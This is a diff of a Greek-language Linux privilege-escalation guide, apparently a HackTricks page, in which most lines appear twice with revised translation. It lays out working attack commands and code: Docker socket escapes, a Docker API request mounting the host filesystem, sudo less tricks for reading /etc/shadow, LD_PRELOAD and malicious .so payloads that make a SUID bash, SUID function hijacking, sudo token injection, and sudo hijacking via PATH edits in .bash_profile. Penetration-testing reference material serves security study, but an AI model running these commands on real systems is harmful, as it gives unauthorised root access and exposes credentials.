- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία.
|
||||
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
|
||||
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
|
||||
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία.
|
||||
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
|
||||
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
|
||||
|
||||
### Writable .socket files
|
||||
|
||||
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
|
||||
### Γράψιμο Docker Socket
|
||||
|
||||
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο.
|
||||
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
|
||||
|
||||
#### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
|
||||
|
||||
Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
|
||||
Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -510,7 +510,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
|
||||
2. **Δημιουργία Κοντέινερ:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα κοντέινερ που θα προσαρτήσει τον ριζικό κατάλογο του συστήματος host.
|
||||
2. **Δημιουργία Κοντέινερ:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα κοντέινερ που θα συνδέει τον ριζικό κατάλογο του συστήματος host.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
@ -538,7 +538,7 @@ Upgrade: tcp
|
||||
|
||||
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Ελέγξτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
|
||||
Δείτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -566,11 +566,11 @@ runc-privilege-escalation.md
|
||||
|
||||
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
|
||||
|
||||
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
|
||||
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρέπει/αρνείται**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
|
||||
|
||||
Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώς τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`.
|
||||
Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώνοντας τις άδειες για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλα τα μη καλυπτόμενα από άλλες συγκεκριμένες πολιτικές.
|
||||
Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
|
||||
## **Δίκτυο**
|
||||
|
||||
Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να προσδιορίζετε τη θέση της μηχανής.
|
||||
Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να κατανοείτε τη θέση της μηχανής.
|
||||
|
||||
### Γενική καταγραφή
|
||||
```bash
|
||||
@ -683,7 +683,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||
```
|
||||
### Γνωστοί κωδικοί
|
||||
|
||||
Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
|
||||
Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
|
||||
|
||||
### Su Brute
|
||||
|
||||
@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
||||
|
||||
### $PATH
|
||||
|
||||
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας μια πίσω πόρτα μέσα στον εγγράψιμο φάκελο με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελο σας στο $PATH.
|
||||
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH.
|
||||
|
||||
### SUDO και SUID
|
||||
|
||||
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo execution bypassing paths
|
||||
|
||||
**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
ln /etc/shadow /var/log/new
|
||||
sudo less /var/log/new #Use symlinks to read any file
|
||||
```
|
||||
Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμη πιο εύκολο:
|
||||
Αν χρησιμοποιηθεί ένα **wildcard** (\*), είναι ακόμα πιο εύκολο:
|
||||
```bash
|
||||
sudo less /var/log/../../etc/shadow #Read shadow
|
||||
sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
@ -771,7 +771,7 @@ sudo less
|
||||
|
||||
Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το suid αρχείο.
|
||||
|
||||
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
|
||||
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_, πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -809,7 +809,7 @@ system("/bin/bash");
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Τελικά, **escalate privileges** τρέχοντας
|
||||
Τελικά, **κλιμακώστε τα δικαιώματα** εκτελώντας
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει μια πιθανότητα εκμετάλλευσης.
|
||||
|
||||
Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει στη δημιουργία ενός αρχείου C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα:
|
||||
Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει δημιουργώντας ένα αρχείο C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -853,9 +853,9 @@ void inject(){
|
||||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να ανυψώσει τα δικαιώματα πρόσβασης χειρίζοντας τις άδειες αρχείων και εκτελώντας ένα shell με ανυψωμένα δικαιώματα.
|
||||
Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να ανυψώσει τα δικαιώματα πρόσβασης χειραγωγώντας τις άδειες αρχείων και εκτελώντας ένα shell με ανυψωμένα δικαιώματα.
|
||||
|
||||
Μεταγλωττίστε το παραπάνω αρχείο C σε ένα αρχείο κοινής βιβλιοθήκης (.so) με:
|
||||
Μεταγλωττίστε το παραπάνω αρχείο C σε ένα κοινόχρηστο αντικείμενο (.so) με:
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
@ -894,7 +894,7 @@ system("/bin/bash -p");
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
|
||||
|
||||
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
|
||||
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα δικαιώματα, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
@ -911,13 +911,13 @@ https://gtfoargs.github.io/
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
Εάν μπορείτε να έχετε πρόσβαση στο `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo.
|
||||
Εάν μπορείτε να έχετε πρόσβαση στο `sudo -l`, μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo.
|
||||
|
||||
### Επαναχρησιμοποίηση Σημείων Sudo
|
||||
|
||||
Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**.
|
||||
Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα δικαιώματα σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το session token**.
|
||||
|
||||
Απαιτήσεις για την κλιμάκωση προνομίων:
|
||||
Απαιτήσεις για την κλιμάκωση δικαιωμάτων:
|
||||
|
||||
- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
|
||||
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
|
||||
@ -926,7 +926,7 @@ https://gtfoargs.github.io/
|
||||
|
||||
(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας το `/etc/sysctl.d/10-ptrace.conf` και ρυθμίζοντας `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
|
||||
```bash
|
||||
@ -939,7 +939,7 @@ sudo su
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
- Η **τρίτη εκμετάλλευση** (`exploit_v3.sh`) θα **δημιουργήσει ένα αρχείο sudoers** που καθιστά **τους sudo tokens αιώνιους και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν το sudo**
|
||||
- Η **τρίτη εκμετάλλευση** (`exploit_v3.sh`) θα **δημιουργήσει ένα αρχείο sudoers** που καθιστά **τους sudo tokens αιώνιους και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo**
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κλιμακώσει τα δικαιώματα και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
|
||||
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κερδίσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
|
||||
|
||||
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί ένα διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1058,11 +1058,11 @@ linux-capabilities.md
|
||||
## Δικαιώματα καταλόγου
|
||||
|
||||
Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\
|
||||
Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**.
|
||||
Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
|
||||
|
||||
## ACLs
|
||||
|
||||
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
|
||||
```bash
|
||||
@ -1075,12 +1075,12 @@ setfacl -b file.txt #Remove the ACL of the file
|
||||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Ανοιχτές συνεδρίες κελύφους
|
||||
## Ανοιχτές συνεδρίες shell
|
||||
|
||||
Σε **παλιές εκδόσεις** μπορεί να **παρακάμψετε** κάποιες **συνεδρίες κελύφους** άλλου χρήστη (**root**).\
|
||||
Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε συνεδρίες οθόνης του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
|
||||
Σε **παλιές εκδόσεις** μπορείς να **παρακάμψεις** κάποιες **συνεδρίες shell** ενός διαφορετικού χρήστη (**root**).\
|
||||
Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
|
||||
|
||||
### Παράκαμψη συνεδριών οθόνης
|
||||
### παρακάμψη συνεδριών οθόνης
|
||||
|
||||
**Λίστα συνεδριών οθόνης**
|
||||
```bash
|
||||
@ -1143,15 +1143,15 @@ Check **Valentine box from HTB** for an example.
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από τον κατάλογο του χρήστη**. Για παράδειγμα:
|
||||
Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το σπίτι του χρήστη**. Για παράδειγμα:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **ιδιωτικό** κλειδί του χρήστη "**testusername**", το ssh θα συγκρίνει το δημόσιο κλειδί σας με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access`.
|
||||
Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **ιδιωτικό** κλειδί του χρήστη "**testusername**", το ssh θα συγκρίνει το δημόσιο κλειδί σας με αυτά που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access`
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας.
|
||||
